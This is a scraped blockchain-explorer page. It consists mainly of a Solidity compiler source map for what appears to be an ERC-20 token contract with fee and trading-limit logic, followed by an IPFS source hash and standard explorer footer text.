16612:10480:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4094:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5007:169;;;;;;;;;;-1:-1:-1;5007:169:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;5007:169:0;1023:187:1;17556:63:0;;;;;;;;;;-1:-1:-1;17556:63:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16691:51;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1658:32:1;;;1640:51;;1628:2;1613:18;16691:51:0;1467:230:1;17264:37:0;;;;;;;;;;;;;;;;;;;1848:25:1;;;1836:2;1821:18;17264:37:0;1702:177:1;4414:108:0;;;;;;;;;;-1:-1:-1;4502:12:0;;4414:108;;17225:32;;;;;;;;;;;;;;;;5184:492;;;;;;;;;;-1:-1:-1;5184:492:0;;;;;:::i;:::-;;:::i;16794:53::-;;;;;;;;;;;;16840:6;16794:53;;4314:92;;;;;;;;;;-1:-1:-1;4314:92:0;;4397:1;2695:36:1;;2683:2;2668:18;4314:92:0;2553:184:1;17152:29:0;;;;;;;;;;;;;;;;5898:215;;;;;;;;;;-1:-1:-1;5898:215:0;;;;;:::i;:::-;;:::i;16749:38::-;;;;;;;;;;;;;;;17032:33;;;;;;;;;;-1:-1:-1;17032:33:0;;;;;;;;24853:153;;;;;;;;;;-1:-1:-1;24853:153:0;;;;;:::i;:::-;;:::i;:::-;;17112:31;;;;;;;;;;-1:-1:-1;17112:31:0;;;;;;;;;;;20469:173;;;;;;;;;;;;;:::i;4530:127::-;;;;;;;;;;-1:-1:-1;4530:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;4631:18:0;4604:7;4631:18;;;;;;;;;;;;4530:127;2214:103;;;;;;;;;;;;;:::i;19767:121::-;;;;;;;;;;;;;:::i;19896:167::-;;;;;;;;;;-1:-1:-1;19896:167:0;;;;;:::i;:::-;;:::i;20261:200::-;;;;;;;;;;-1:-1:-1;20261:200:0;;;;;:::i;:::-;;:::i;19544:171::-;;;;;;;;;;;;;:::i;1989:87::-;;;;;;;;;;-1:-1:-1;2062:6:0;;-1:-1:-1;;;;;2062:6:0;1989:87;;4202:104;;;;;;;;;;;;;:::i;20650:304::-;;;;;;;;;;-1:-1:-1;20650:304:0;;;;;:::i;:::-;;:::i;17188:30::-;;;;;;;;;;;;;;;;6121:413;;;;;;;;;;-1:-1:-1;6121:413:0;;;;;:::i;:::-;;:::i;4665:175::-;;;;;;;;;;-1:-1:-1;4665:175:0;;;;;:::i;:::-;;:::i;17777:57::-;;;;;;;;;;-1:-1:-1;17777:57:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;17072:33;;;;;;;;;;-1:-1:-1;17072:33:0;;;;;;;;;;;20071:182;;;;;;;;;;-1:-1:-1;20071:182:0;;;;;:::i;:::-;;:::i;16917:35::-;;;;;;;;;;;;;;;;4848:151;;;;;;;;;;-1:-1:-1;4848:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;4964:18:0;;;4937:7;4964:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4848:151;16959:33;;;;;;;;;;;;;;;;5684:206;;;;;;;;;;-1:-1:-1;5684:206:0;;;;;:::i;:::-;;:::i;2327:201::-;;;;;;;;;;-1:-1:-1;2327:201:0;;;;;:::i;:::-;;:::i;16999:24::-;;;;;;;;;;;;;;;;4094:100;4148:13;4181:5;4174:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4094:100;:::o;5007:169::-;5090:4;5107:39;1609:10;5130:7;5139:6;5107:8;:39::i;:::-;-1:-1:-1;5164:4:0;5007:169;;;;;:::o;5184:492::-;5324:4;5341:36;5351:6;5359:9;5370:6;5341:9;:36::i;:::-;-1:-1:-1;;;;;5417:19:0;;5390:24;5417:19;;;:11;:19;;;;;;;;1609:10;5417:33;;;;;;;;5469:26;;;;5461:79;;;;-1:-1:-1;;;5461:79:0;;4417:2:1;5461:79:0;;;4399:21:1;4456:2;4436:18;;;4429:30;4495:34;4475:18;;;4468:62;-1:-1:-1;;;4546:18:1;;;4539:38;4594:19;;5461:79:0;;;;;;;;;5576:57;5585:6;1609:10;5626:6;5607:16;:25;5576:8;:57::i;:::-;-1:-1:-1;5664:4:0;;5184:492;-1:-1:-1;;;;5184:492:0:o;5898:215::-;1609:10;5986:4;6035:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6035:34:0;;;;;;;;;;5986:4;;6003:80;;6026:7;;6035:47;;6072:10;;6035:47;:::i;:::-;6003:8;:80::i;24853:153::-;24942:56;24960:10;24972:12;24986:11;24942:17;:56::i;:::-;24853:153;;:::o;20469:173::-;20556:14;;20548:86;;20511:12;;-1:-1:-1;;;;;20556:14:0;;20598:21;;20511:12;20548:86;20511:12;20548:86;20598:21;20556:14;20548:86;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;20469:173:0:o;2214:103::-;2062:6;;-1:-1:-1;;;;;2062:6:0;1609:10;2126:23;2118:68;;;;-1:-1:-1;;;2118:68:0;;;;;;;:::i;:::-;2279:30:::1;2306:1;2279:18;:30::i;:::-;2214:103::o:0;19767:121::-;2062:6;;19819:4;;-1:-1:-1;;;;;2062:6:0;1609:10;2126:23;2118:68;;;;-1:-1:-1;;;2118:68:0;;;;;;;:::i;:::-;-1:-1:-1;19836:14:0::1;:22:::0;;-1:-1:-1;;19836:22:0::1;::::0;;;19767:121;:::o;19896:167::-;2062:6;;-1:-1:-1;;;;;2062:6:0;1609:10;2126:23;2118:68;;;;-1:-1:-1;;;2118:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;20009:39:0;;;::::1;;::::0;;;:31:::1;:39;::::0;;;;:46;;-1:-1:-1;;20009:46:0::1;::::0;::::1;;::::0;;;::::1;::::0;;19896:167::o;20261:200::-;20353:4;4604:7;4631:18;;;;;;;;;;;20325:6;:34;;:48;;;;;20372:1;20363:6;:10;20325:48;20317:73;;;;-1:-1:-1;;;20317:73:0;;5659:2:1;20317:73:0;;;5641:21:1;5698:2;5678:18;;;5671:30;-1:-1:-1;;;5717:18:1;;;5710:42;5769:18;;20317:73:0;5457:336:1;20317:73:0;20401:52;20419:10;20439:4;20446:6;20401:17;:52::i;:::-;20261:200;:::o;19544:171::-;2062:6;;-1:-1:-1;;;;;2062:6:0;1609:10;2126:23;2118:68;;;;-1:-1:-1;;;2118:68:0;;;;;;;:::i;:::-;19616:1:::1;19599:14;:18:::0;;;19628:15:::1;:19:::0;19658:13:::1;:20:::0;;-1:-1:-1;;19689:18:0;;;;;19544:171::o;4202:104::-;4258:13;4291:7;4284:14;;;;;:::i;20650:304::-;2062:6;;-1:-1:-1;;;;;2062:6:0;1609:10;2126:23;2118:68;;;;-1:-1:-1;;;2118:68:0;;;;;;;:::i;:::-;20794:13:::1;-1:-1:-1::0;;;;;20786:21:0::1;:4;-1:-1:-1::0;;;;;20786:21:0::1;::::0;20764:128:::1;;;::::0;-1:-1:-1;;;20764:128:0;;6000:2:1;20764:128:0::1;::::0;::::1;5982:21:1::0;6039:2;6019:18;;;6012:30;6078:34;6058:18;;;6051:62;6149:27;6129:18;;;6122:55;6194:19;;20764:128:0::1;5798:421:1::0;20764:128:0::1;20905:41;20934:4;20940:5;20905:28;:41::i;6121:413::-:0;1609:10;6214:4;6258:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6258:34:0;;;;;;;;;;6311:35;;;;6303:85;;;;-1:-1:-1;;;6303:85:0;;6426:2:1;6303:85:0;;;6408:21:1;6465:2;6445:18;;;6438:30;6504:34;6484:18;;;6477:62;-1:-1:-1;;;6555:18:1;;;6548:35;6600:19;;6303:85:0;6224:401:1;6303:85:0;6424:67;1609:10;6447:7;6475:15;6456:16;:34;6424:8;:67::i;:::-;-1:-1:-1;6522:4:0;;6121:413;-1:-1:-1;;;6121:413:0:o;4665:175::-;4751:4;4768:42;1609:10;4792:9;4803:6;4768:9;:42::i;20071:182::-;2062:6;;-1:-1:-1;;;;;2062:6:0;1609:10;2126:23;2118:68;;;;-1:-1:-1;;;2118:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;20156:28:0;::::1;;::::0;;;:19:::1;:28;::::0;;;;;;;;:39;;-1:-1:-1;;20156:39:0::1;::::0;::::1;;::::0;;::::1;::::0;;;20211:34;;1163:41:1;;;20211:34:0::1;::::0;1136:18:1;20211:34:0::1;;;;;;;20071:182:::0;;:::o;5684:206::-;-1:-1:-1;;;;;5811:20:0;;5761:4;5811:20;;;:11;:20;;;;;;;;5804:4;5811:35;;;;;;;;5778:82;;5787:7;;5811:48;;5849:10;;5811:48;:::i;2327:201::-;2062:6;;-1:-1:-1;;;;;2062:6:0;1609:10;2126:23;2118:68;;;;-1:-1:-1;;;2118:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2416:22:0;::::1;2408:73;;;::::0;-1:-1:-1;;;2408:73:0;;6832:2:1;2408:73:0::1;::::0;::::1;6814:21:1::0;6871:2;6851:18;;;6844:30;6910:34;6890:18;;;6883:62;-1:-1:-1;;;6961:18:1;;;6954:36;7007:19;;2408:73:0::1;6630:402:1::0;2408:73:0::1;2492:28;2511:8;2492:18;:28::i;8289:380::-:0;-1:-1:-1;;;;;8425:19:0;;8417:68;;;;-1:-1:-1;;;8417:68:0;;7239:2:1;8417:68:0;;;7221:21:1;7278:2;7258:18;;;7251:30;7317:34;7297:18;;;7290:62;-1:-1:-1;;;7368:18:1;;;7361:34;7412:19;;8417:68:0;7037:400:1;8417:68:0;-1:-1:-1;;;;;8504:21:0;;8496:68;;;;-1:-1:-1;;;8496:68:0;;7644:2:1;8496:68:0;;;7626:21:1;7683:2;7663:18;;;7656:30;7722:34;7702:18;;;7695:62;-1:-1:-1;;;7773:18:1;;;7766:32;7815:19;;8496:68:0;7442:398:1;8496:68:0;-1:-1:-1;;;;;8577:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8629:32;;1848:25:1;;;8629:32:0;;1821:18:1;8629:32:0;;;;;;;8289:380;;;:::o;21158:3687::-;-1:-1:-1;;;;;21290:18:0;;21282:68;;;;-1:-1:-1;;;21282:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;21369:16:0;;21361:64;;;;-1:-1:-1;;;21361:64:0;;;;;;;:::i;:::-;21442:6;21452:1;21442:11;21438:93;;21470:28;21486:4;21492:2;21496:1;21470:15;:28::i;:::-;21158:3687;;;:::o;21438:93::-;21543:41;21567:4;21573:2;21577:6;21543:23;:41::i;:::-;21601:14;;;;21597:1694;;;2062:6;;-1:-1:-1;;;;;21654:15:0;;;2062:6;;21654:15;;;;:49;;-1:-1:-1;2062:6:0;;-1:-1:-1;;;;;21690:13:0;;;2062:6;;21690:13;;21654:49;:86;;;;-1:-1:-1;;;;;;21724:16:0;;;;21654:86;:128;;;;-1:-1:-1;;;;;;21761:21:0;;21775:6;21761:21;;21654:128;:158;;;;-1:-1:-1;21804:8:0;;-1:-1:-1;;;21804:8:0;;;;21803:9;21654:158;21632:1648;;;21852:13;;;;;;;21847:223;;-1:-1:-1;;;;;21924:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;21953:23:0;;;;;;:19;:23;;;;;;;;21924:52;21890:160;;;;-1:-1:-1;;;21890:160:0;;8857:2:1;21890:160:0;;;8839:21:1;8896:2;8876:18;;;8869:30;-1:-1:-1;;;8915:18:1;;;8908:52;8977:18;;21890:160:0;8655:346:1;21890:160:0;-1:-1:-1;;;;;22144:31:0;;;;;;:25;:31;;;;;;;;:92;;;;-1:-1:-1;;;;;;22201:35:0;;;;;;:31;:35;;;;;;;;22200:36;22144:92;22118:1147;;;22323:20;;22313:6;:30;;22279:169;;;;-1:-1:-1;;;22279:169:0;;9208:2:1;22279:169:0;;;9190:21:1;9247:2;9227:18;;;9220:30;9286:34;9266:18;;;9259:62;-1:-1:-1;;;9337:18:1;;;9330:51;9398:19;;22279:169:0;9006:417:1;22279:169:0;22531:9;;-1:-1:-1;;;;;4631:18:0;;4604:7;4631:18;;;;;;;;;;;22505:22;;:6;:22;:::i;:::-;:35;;22471:140;;;;-1:-1:-1;;;22471:140:0;;9630:2:1;22471:140:0;;;9612:21:1;9669:2;9649:18;;;9642:30;-1:-1:-1;;;9688:18:1;;;9681:49;9747:18;;22471:140:0;9428:343:1;22471:140:0;22118:1147;;;-1:-1:-1;;;;;22709:29:0;;;;;;:25;:29;;;;;;;;:92;;;;-1:-1:-1;;;;;;22764:37:0;;;;;;:31;:37;;;;;;;;22763:38;22709:92;22683:582;;;22888:20;;22878:6;:30;;22844:170;;;;-1:-1:-1;;;22844:170:0;;9978:2:1;22844:170:0;;;9960:21:1;10017:2;9997:18;;;9990:30;10056:34;10036:18;;;10029:62;-1:-1:-1;;;10107:18:1;;;10100:52;10169:19;;22844:170:0;9776:418:1;22683:582:0;-1:-1:-1;;;;;23045:35:0;;;;;;:31;:35;;;;;;;;23040:225;;23165:9;;-1:-1:-1;;;;;4631:18:0;;4604:7;4631:18;;;;;;;;;;;23139:22;;:6;:22;:::i;:::-;:35;;23105:140;;;;-1:-1:-1;;;23105:140:0;;9630:2:1;23105:140:0;;;9612:21:1;9669:2;9649:18;;;9642:30;-1:-1:-1;;;9688:18:1;;;9681:49;9747:18;;23105:140:0;9428:343:1;23105:140:0;23352:4;23303:28;4631:18;;;;;;;;;;;23410;;23386:42;;;;;;;23459:35;;-1:-1:-1;23483:11:0;;;;;;;23459:35;:61;;;;-1:-1:-1;23512:8:0;;-1:-1:-1;;;23512:8:0;;;;23511:9;23459:61;:110;;;;-1:-1:-1;;;;;;23538:31:0;;;;;;:25;:31;;;;;;;;23537:32;23459:110;:153;;;;-1:-1:-1;;;;;;23587:25:0;;;;;;:19;:25;;;;;;;;23586:26;23459:153;:194;;;;-1:-1:-1;;;;;;23630:23:0;;;;;;:19;:23;;;;;;;;23629:24;23459:194;23441:326;;;23680:8;:15;;-1:-1:-1;;;;23680:15:0;-1:-1:-1;;;23680:15:0;;;23712:10;:8;:10::i;:::-;23739:8;:16;;-1:-1:-1;;;;23739:16:0;;;23441:326;23779:40;23802:4;23808:2;23812:6;23779:22;:40::i;:::-;23848:8;;-1:-1:-1;;;;;23958:25:0;;23832:12;23958:25;;;:19;:25;;;;;;23848:8;-1:-1:-1;;;23848:8:0;;;;;23847:9;;23958:25;;:52;;-1:-1:-1;;;;;;23987:23:0;;;;;;:19;:23;;;;;;;;23958:52;23954:100;;;-1:-1:-1;24037:5:0;23954:100;24066:12;24171:7;24167:625;;;-1:-1:-1;;;;;24223:29:0;;;;;;:25;:29;;;;;;;;:52;;;;;24274:1;24256:15;;:19;24223:52;24219:424;;;24303:47;24335:14;;24303:27;24314:15;;24303:6;:10;;:27;;;;:::i;:::-;:31;;:47::i;:::-;24296:54;;24390:4;24369:17;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;24219:424:0;;-1:-1:-1;24219:424:0;;-1:-1:-1;;;;;24456:31:0;;;;;;:25;:31;;;;;;;;:53;;;;;24508:1;24491:14;;:18;24456:53;24452:191;;;24537:46;24568:14;;24537:26;24548:14;;24537:6;:10;;:26;;;;:::i;:46::-;24530:53;;24623:4;24602:17;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;24452:191:0;24663:8;;24659:91;;24692:42;24708:4;24722;24729;24692:15;:42::i;:::-;24766:14;24776:4;24766:14;;:::i;:::-;;;24167:625;24804:33;24820:4;24826:2;24830:6;24804:15;:33::i;:::-;21271:3574;;;;21158:3687;;;:::o;25586:706::-;25775:16;;;25789:1;25775:16;;;;;;;;25751:21;;25775:16;;;;;;;;;;-1:-1:-1;25775:16:0;25751:40;;25812:12;25802:4;25807:1;25802:7;;;;;;;;:::i;:::-;;;;;;:22;-1:-1:-1;;;;;25802:22:0;;;-1:-1:-1;;;;;25802:22:0;;;;;25845:15;-1:-1:-1;;;;;25845:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;25835:4;25840:1;25835:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;25835:32:0;;;:7;;;;;;;;;;:32;;;;25883:27;;;;;;;:19;:27;;;;;;;;;25880:142;;;25926:76;;-1:-1:-1;;;25926:76:0;;-1:-1:-1;;;;;11110:15:1;;25926:76:0;;;11092:34:1;25941:4:0;11142:18:1;;;11135:43;;;11194:18;;;11187:34;;;25941:4:0;25926:34;;11027:18:1;;25926:76:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;26004:7;25586:706;;;:::o;25880:142::-;26060:224;;-1:-1:-1;;;26060:224:0;;-1:-1:-1;;;;;26060:15:0;:66;;;;:224;;26141:11;;26167:1;;26211:4;;26238;;26258:15;;26060:224;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25680:612;25586:706;;;:::o;2536:191::-;2629:6;;;-1:-1:-1;;;;;2646:17:0;;;-1:-1:-1;;;;;;2646:17:0;;;;;;;2679:40;;2629:6;;;2646:17;2629:6;;2679:40;;2610:16;;2679:40;2599:128;2536:191;:::o;20962:188::-;-1:-1:-1;;;;;21045:31:0;;;;;;:25;:31;;;;;;:39;;-1:-1:-1;;21045:39:0;;;;;;;;;;21102:40;;21045:39;;:31;21102:40;;;20962:188;;:::o;6542:733::-;-1:-1:-1;;;;;6682:20:0;;6674:70;;;;-1:-1:-1;;;6674:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6763:23:0;;6755:71;;;;-1:-1:-1;;;6755:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6923:17:0;;6899:21;6923:17;;;;;;;;;;;6959:23;;;;6951:74;;;;-1:-1:-1;;;6951:74:0;;12669:2:1;6951:74:0;;;12651:21:1;12708:2;12688:18;;;12681:30;12747:34;12727:18;;;12720:62;-1:-1:-1;;;12798:18:1;;;12791:36;12844:19;;6951:74:0;12467:402:1;6951:74:0;-1:-1:-1;;;;;7061:17:0;;;:9;:17;;;;;;;;;;;7081:22;;;7061:42;;7125:20;;;;;;;;:30;;7097:6;;7061:9;7125:30;;7097:6;;7125:30;:::i;:::-;;;;;;;;7190:9;-1:-1:-1;;;;;7173:35:0;7182:6;-1:-1:-1;;;;;7173:35:0;;7201:6;7173:35;;;;1848:25:1;;1836:2;1821:18;;1702:177;7173:35:0;;;;;;;;6663:612;6542:733;;;:::o;25014:564::-;25142:15;25168:7;2062:6;;-1:-1:-1;;;;;2062:6:0;;1989:87;25168:7;-1:-1:-1;;;;;25160:15:0;:4;-1:-1:-1;;;;;25160:15:0;;;:32;;;;-1:-1:-1;2062:6:0;;-1:-1:-1;;;;;25179:13:0;;;2062:6;;25179:13;;25160:32;-1:-1:-1;;;;;25221:25:0;;25203:15;25221:25;;;:19;:25;;;;;;25142:50;;-1:-1:-1;25203:15:0;25221:25;;;:52;;-1:-1:-1;;;;;;25250:23:0;;;;;;:19;:23;;;;;;;;25221:52;-1:-1:-1;;;;;25306:31:0;;25284:19;25306:31;;;:25;:31;;;;;;25203:70;;-1:-1:-1;25284:19:0;25306:31;;:45;;;;;25350:1;25341:6;:10;25306:45;25284:67;-1:-1:-1;25381:12:0;25410:10;:24;;;;;25424:10;25410:24;25406:165;;;25451:14;:25;;;25406:165;;;25497:14;25494:77;;;-1:-1:-1;;;;;25527:21:0;;;;;;:17;:21;;;;;:32;;;25131:447;;;;25014:564;;;:::o;26738:351::-;26821:4;26777:23;4631:18;;;;;;;;;;;;26873:61;;26891:10;;4631:18;26873:17;:61::i;:::-;26967:1;26947:17;:21;;;27003:14;;26995:86;;-1:-1:-1;;;;;27003:14:0;;;;27045:21;;26995:86;;26967:1;26995:86;27045:21;27003:14;26995:86;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26300:430;-1:-1:-1;;;;;26449:25:0;;26427:18;26449:25;;;:19;:25;;;;;;;;26448:26;:54;;;;-1:-1:-1;;;;;;26479:23:0;;;;;;:19;:23;;;;;;;;26478:24;26448:54;-1:-1:-1;;;;;26542:31:0;;26513:25;26542:31;;;:25;:31;;;;;;26427:75;;-1:-1:-1;26513:25:0;26542:31;;26541:32;:46;;;;;26586:1;26577:6;:10;26541:46;26513:74;;26603:20;:37;;;;;26627:13;26603:37;26600:123;;;26697:14;;-1:-1:-1;;;;;26671:23:0;;;;;;:17;:23;;;;;;:40;;26697:14;26671:40;:::i;:::-;26656:12;:55;26416:314;;26300:430;;;:::o;10297:98::-;10355:7;10382:5;10386:1;10382;:5;:::i;:::-;10375:12;10297:98;-1:-1:-1;;;10297:98:0:o;10403:::-;10461:7;10488:5;10492:1;10488;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1215:247::-;1274:6;1327:2;1315:9;1306:7;1302:23;1298:32;1295:52;;;1343:1;1340;1333:12;1295:52;1382:9;1369:23;1401:31;1426:5;1401:31;:::i;1884:456::-;1961:6;1969;1977;2030:2;2018:9;2009:7;2005:23;2001:32;1998:52;;;2046:1;2043;2036:12;1998:52;2085:9;2072:23;2104:31;2129:5;2104:31;:::i;:::-;2154:5;-1:-1:-1;2211:2:1;2196:18;;2183:32;2224:33;2183:32;2224:33;:::i;:::-;1884:456;;2276:7;;-1:-1:-1;;;2330:2:1;2315:18;;;;2302:32;;1884:456::o;2742:118::-;2828:5;2821:13;2814:21;2807:5;2804:32;2794:60;;2850:1;2847;2840:12;2865:382;2930:6;2938;2991:2;2979:9;2970:7;2966:23;2962:32;2959:52;;;3007:1;3004;2997:12;2959:52;3046:9;3033:23;3065:31;3090:5;3065:31;:::i;:::-;3115:5;-1:-1:-1;3172:2:1;3157:18;;3144:32;3185:30;3144:32;3185:30;:::i;:::-;3234:7;3224:17;;;2865:382;;;;;:::o;3252:180::-;3311:6;3364:2;3352:9;3343:7;3339:23;3335:32;3332:52;;;3380:1;3377;3370:12;3332:52;-1:-1:-1;3403:23:1;;3252:180;-1:-1:-1;3252:180:1:o;3437:388::-;3505:6;3513;3566:2;3554:9;3545:7;3541:23;3537:32;3534:52;;;3582:1;3579;3572:12;3534:52;3621:9;3608:23;3640:31;3665:5;3640:31;:::i;:::-;3690:5;-1:-1:-1;3747:2:1;3732:18;;3719:32;3760:33;3719:32;3760:33;:::i;3830:380::-;3909:1;3905:12;;;;3952;;;3973:61;;4027:4;4019:6;4015:17;4005:27;;3973:61;4080:2;4072:6;4069:14;4049:18;4046:38;4043:161;;4126:10;4121:3;4117:20;4114:1;4107:31;4161:4;4158:1;4151:15;4189:4;4186:1;4179:15;4043:161;;3830:380;;;:::o;4624:127::-;4685:10;4680:3;4676:20;4673:1;4666:31;4716:4;4713:1;4706:15;4740:4;4737:1;4730:15;4756:125;4821:9;;;4842:10;;;4839:36;;;4855:18;;:::i;5096:356::-;5298:2;5280:21;;;5317:18;;;5310:30;5376:34;5371:2;5356:18;;5349:62;5443:2;5428:18;;5096:356::o;7845:401::-;8047:2;8029:21;;;8086:2;8066:18;;;8059:30;8125:34;8120:2;8105:18;;8098:62;-1:-1:-1;;;8191:2:1;8176:18;;8169:35;8236:3;8221:19;;7845:401::o;8251:399::-;8453:2;8435:21;;;8492:2;8472:18;;;8465:30;8531:34;8526:2;8511:18;;8504:62;-1:-1:-1;;;8597:2:1;8582:18;;8575:33;8640:3;8625:19;;8251:399::o;10199:128::-;10266:9;;;10287:11;;;10284:37;;;10301:18;;:::i;10464:127::-;10525:10;10520:3;10516:20;10513:1;10506:31;10556:4;10553:1;10546:15;10580:4;10577:1;10570:15;10596:251;10666:6;10719:2;10707:9;10698:7;10694:23;10690:32;10687:52;;;10735:1;10732;10725:12;10687:52;10767:9;10761:16;10786:31;10811:5;10786:31;:::i;11232:245::-;11299:6;11352:2;11340:9;11331:7;11327:23;11323:32;11320:52;;;11368:1;11365;11358:12;11320:52;11400:9;11394:16;11419:28;11441:5;11419:28;:::i;11482:980::-;11744:4;11792:3;11781:9;11777:19;11823:6;11812:9;11805:25;11849:2;11887:6;11882:2;11871:9;11867:18;11860:34;11930:3;11925:2;11914:9;11910:18;11903:31;11954:6;11989;11983:13;12020:6;12012;12005:22;12058:3;12047:9;12043:19;12036:26;;12097:2;12089:6;12085:15;12071:29;;12118:1;12128:195;12142:6;12139:1;12136:13;12128:195;;;12207:13;;-1:-1:-1;;;;;12203:39:1;12191:52;;12298:15;;;;12263:12;;;;12239:1;12157:9;12128:195;;;-1:-1:-1;;;;;;;12379:32:1;;;;12374:2;12359:18;;12352:60;-1:-1:-1;;;12443:3:1;12428:19;12421:35;12340:3;11482:980;-1:-1:-1;;;11482:980:1:o;12874:168::-;12947:9;;;12978;;12995:15;;;12989:22;;12975:37;12965:71;;13016:18;;:::i;13047:217::-;13087:1;13113;13103:132;;13157:10;13152:3;13148:20;13145:1;13138:31;13192:4;13189:1;13182:15;13220:4;13217:1;13210:15;13103:132;-1:-1:-1;13249:9:1;;13047:217::o

Swarm Source

ipfs://71bbe21e1470b3274009c82ddec4465d12a674b56317752305fef4ba88007d86
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.